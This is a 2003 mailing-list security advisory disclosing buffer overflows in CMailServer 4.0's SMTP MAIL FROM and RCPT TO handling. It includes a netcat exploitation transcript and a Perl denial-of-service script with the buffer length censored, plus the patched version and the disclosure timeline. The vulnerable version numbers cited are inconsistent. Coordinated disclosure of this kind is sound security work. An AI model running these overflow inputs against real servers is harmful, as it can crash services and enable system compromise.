[VulnWatch] Multiple Buffer Overflow Vulnerabilities Found in CMailServer 4.0

From: Dennis Rand (der_at_infowarfare.dk)
Date: 05/10/03

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    To: "Vulnwatch@Vulnwatch. Org" <vulnwatch@vulnwatch.org>, "Bugs@Securitytracker. Com" <bugs@securitytracker.com>, <bugtraq@securityfocus.com>, "News@Securiteam. Com" <news@securiteam.com>, "Vuln@Secunia. Dk" <vuln@secunia.dk>
    Date: Sat, 10 May 2003 10:53:41 +0200
    
    

                        Multiple Buffer Overflow Vulnerabilities
                              Found in CMailServer 4.0
                             http://www.youngzsoft.com
                             
                              Discovered by Dennis Rand
                                 www.Infowarfare.dk
    ------------------------------------------------------------------------

    -----[SUMMARY
    CMailServer, a small and easy to administer email server software and web
    mail server software, can help you build your own email server for
    Win NT/2000/XP. It enables you to send and receive email across the
    Internet or within your LAN. The ESMTP authentication, ASP form web
    mail and multiple domain names are supported.

    CMailServer offers an unlimited email users license at a reasonable
    and affordable price compared to other email server software.
    For those small to medium sized companies, CMailServer will be an
    economic and effective solution to handle their e-mail management
    requirements. CMailServer also is a web mail server software and
    provides full web mail service. The web mail is based on ASP.
    You can customize your web mail interface freely. Give it a try
    and find out how easy it is to build an email server and web mail
    server for your own business.

    The problem is a Buffer Overflow in the SMTP protocol, within the
    ESMTP CMailServer 4.0.2002.11.24 SMTP Service, causing the service to
    shutdown.
    It is possible to actually overwrite the exception handler on the stack
    allowing
    A system compromise with code execution running as SYSTEM.

    -----[AFFECTED SYSTEMS
    Vulnerable systems:
     * ESMTP CMailServer 4.0.2003.03.27 SMTP Service

    Immune systems:
     * ESMTP CMailServer 4.0.2003.03.30 SMTP Service

    -----[SEVERITY
    High - An attacker is able to cause a DoS attack on the SMTP
    protocol.
                  And we can actually overwrite the exception handler on the
    stack
                  Allowing a system compromise with code execution running as
    SYSTEM.
                  

    -----[DESCRIPTION OF WHAT THE VULNERABILITY IS
    The Vulnerability is a Buffer Overflow in the ESMTP CMailServer
    4.0.2002.11.24 SMTP Service
    When a malicious attacker sends a large amount into the "MAIL FROM" and the
    "RCPT TO"
    The buffer will overflow. If the code was carefully crafted, attackers could
    execute
    Arbitrary command in system privilege.

    The following transcript demonstrates a sample exploitation of the
    Vulnerabilities:
    ----------------------------- [Transcript] -----------------------------
    nc warlab.dk 25
    220 ESMTP CMailServer 4.0.2003.03.27 SMTP Service Ready
    HELO Foobar
    250 win2k-serv
    Mail From : <aaaaa....[Buffer size 2000 Bytes @warlab.dk]
    <Connection closed>

    The same Vulnerability is in the RCPT TO
    nc warlab.dk 25
    220 ESMTP CMailServer 4.0.2003.03.27 SMTP Service Ready
    HELO Foobar
    250 win2k-serv
    Mail From : admin@warlab.dk
    250 <admin@warlab.dk> Sender Ok
    Rcpt To: <aaaaa....[Buffer size 2000 Bytes @warlab.dk]
    <connection closed>
    ----------------------------- [Transcript] -----------------------------

    ----------------------------- [Exploit Code] -----------------------------
    #!/usr/bin/perl -w
    ##################
    # ESMTP CMailServer 4.0.2003.03.27 SMTP Service DoS attack
    #
    # URL: http://www.infowarfare.dk/
    # EMAIL: der@infowarfare.dk
    # USAGE: sploit.pl <target ip>
    #
    # Summary:
    #
    # The problem is a Buffer Overflow in the SMTP protocol, within the
    # ESMTP CMailServer, causing the service to shutdown
    # It is then where we can actually overwrite the exception handler on the
    stack allowing
    # A system compromise with code execution running as SYSTEM.
    #
    #
    # Ive censored some of the source code out. =)
    #
    # Solution:
    # None at this time
    #
    #

    use IO::Socket;
        
    $target = shift() || "warlab.dk";
    my $port = 25;
    my $Buffer = "A" x <CENSORED> ; #

    my $sock = IO::Socket::INET->new (
                                        PeerAddr => $target,
                                        PeerPort => $port,
                                        Proto => 'tcp'
                                     ) || die "could not connect: $!";

    my $banner = <$sock>;
    if ($banner !~ /^2.*/)
    {
        print STDERR "Error: invalid server response '$banner'.\n";
        exit(1);
    }

    print $sock "HELO $target\r\n";
    $resp = <$sock>;

    print $sock "MAIL FROM: $Buffer\@$target.dk\r\n";
    $resp = <$sock>;

    print $sock "\r\n";
    print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

    close($sock);
    ----------------------------- [Exploit Code] -----------------------------

    -----[DETECTION
    ESMTP CMailServer 4.0.2003.03.27 SMTP Service is vulnerable to the
    above-described attacks.
    Earlier versions may be susceptible as well. To determine if a specific
    implementation is vulnerable, experiment by following the above transcript.

    -----[WORK AROUNDS
    Upgrade as soon as possible to version -> ESMTP CMailServer 4.0.2003.03.30
    SMTP Service
    or later.
    The other workaround is to disable the SMTP service but that is not fun.

    -----[VENDOR RESPONSE
    Quoting YoungZSoft <yaoer@youngzsoft.com>:
    I thank you very very much for your report.
    We will fix this as soon as possible
    Yaoer

    -----[DISCLOSURE TIMELINE
    24/04/2003 Found the Vulnerability, and made an analysis.
    29/04/2003 Contacted Vendor at support@youngzsoft.net
    30/04/2003 Received response from vendor with a fix to test
    01/05/2003 New version tested negative for the vulnerabilities
    10/05/2003 Public Disclosure.

    -----[ADDITIONAL INFORMATION
    The vulnerability was discovered and reported by <der@infowarfare.dk> Dennis
    Rand

    -----[DISCLAIMER
    The information in this bulletin is provided "AS IS" without warranty of any
    kind.
    In no event shall we be liable for any damages whatsoever including direct,
    indirect,
    incidental, consequential, loss of business profits or special damages.


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